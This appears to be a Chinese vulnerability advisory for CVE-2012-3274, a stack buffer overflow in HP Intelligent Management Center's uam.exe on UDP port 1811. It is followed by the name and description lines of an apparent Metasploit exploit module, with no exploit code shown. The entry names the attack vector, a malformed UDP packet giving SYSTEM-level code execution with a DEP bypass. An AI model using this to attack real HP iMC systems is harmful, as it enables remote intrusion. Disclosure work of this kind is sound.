描述：

---

BUGTRAQ  ID: 55271
CVE(CAN) ID: CVE-2012-3274

HP Intelligent Management Center是智能管理应用程序。

HP Intelligent Management Center产品的uam.exe组件默认监听在UDP端口1811上，当将接收到的操作记录到日志文件时，会调用sprintf()函数构建日志消息。进程没有正确验证栈上的目标缓冲区是否有足够的字节处理新创建的字符串。远程攻击者可利用此漏洞以系统级别用户权限执行任意代码。

'Name'           => 'HP Intelligent Management Center UAM Buffer Overflow',
'Description'    => %q{
This module exploits a remote buffer overflow in HP Intelligent Management Center
UAM. The vulnerability exists in the uam.exe component, when using sprint in a
insecure way for logging purposes. The vulnerability can be triggered by sending a
malformed packet to the 1811/UDP port. The module has been successfully tested on
HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
